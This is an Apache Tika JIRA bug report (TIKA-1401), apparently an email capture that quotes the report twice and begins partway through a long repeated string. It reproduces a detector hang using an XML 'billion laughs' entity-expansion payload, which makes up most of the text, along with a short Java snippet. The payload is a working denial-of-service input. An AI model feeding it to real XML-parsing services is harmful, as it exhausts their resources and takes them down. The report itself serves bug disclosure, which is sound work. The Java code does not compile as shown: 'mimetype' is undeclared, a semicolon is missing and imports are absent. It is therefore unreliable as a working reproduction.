ahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"> <!ENTITY laugh1 "&laugh0;&laugh0;"> <!ENTITY laugh2 "&laugh1;&laugh1;"> <!ENTITY laugh3 "&laugh2;&laugh2;"> <!ENTITY laugh4 "&laugh3;&laugh3;"> <!ENTITY laugh5 "&laugh4;&laugh4;"> <!ENTITY laugh6 "&laugh5;&laugh5;"> <!ENTITY laugh7 "&laugh6;&laugh6;"> <!ENTITY laugh8 "&laugh7;&laugh7;"> <!ENTITY laugh9 "&laugh8;&laugh8;"> <!ENTITY laugh10 "&laugh9;&laugh9;"> <!ENTITY laugh11 "&laugh10;&laugh10;"> <!ENTITY laugh12 "&laugh11;&laugh11;"> <!ENTITY laugh13 "&laugh12;&laugh12;"> <!ENTITY laugh14 "&laugh13;&laugh13;"> <!ENTITY laugh15 "&laugh14;&laugh14;"> <!ENTITY laugh16 "&laugh15;&laugh15;"> <!ENTITY laugh17 "&laugh16;&laugh16;"> <!ENTITY laugh18 "&laugh17;&laugh17;"> <!ENTITY laugh19 "&laugh18;&laugh18;"> <!ENTITY laugh20 "&laugh19;&laugh19;"> <!ENTITY laugh21 "&laugh20;&laugh20;"> <!ENTITY laugh22 "&laugh21;&laugh21;"> <!ENTITY laugh23 "&laugh22;&laugh22;"> <!ENTITY laugh24 "&laugh23;&laugh23;"> <!ENTITY laugh25 "&laugh24;&laugh24;"> <!ENTITY laugh26 "&laugh25;&laugh25;"> <!ENTITY laugh27 "&laugh26;&laugh26;"> <!ENTITY laugh28 "&laugh27;&laugh27;"> <!ENTITY laugh29 "&laugh28;&laugh28;"> <!ENTITY laugh30 "&laugh29;&laugh29;"> ]> <billion location="&laugh29;">text</billion> 2. Create java code as "Main.java" import org.apache.tika.Tika; public class Main { public static void main(String[] args) { Tika tika = new Tika(); String filePath = "C:\\errorfile.xml"; FileInputStream fis = null; mimetype = "None" try { fis = new FileInputStream(filePath); mimetype = tika.detect(fis); } catch (IOException e) { e.printStackTrace(); } System.out.println(mimetype); } } 3. Running falls into an infinite loop.. ToT > occured infinite loop using tika library > ---------------------------------------- > > Key: TIKA-1401 > URL: https://issues.apache.org/jira/browse/TIKA-1401 > Project: Tika > Issue Type: Bug > Components: detector > Affects Versions: 1.5 > Reporter: Robin.Hwang > > Hi > 1. Save the file with the following content as "errorfile.xml" > {code} > <?xml version="1.0"?> > <!DOCTYPE billion [ > <!ELEMENT billion (#PCDATA)> > <!ENTITY laugh0 > "aahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhah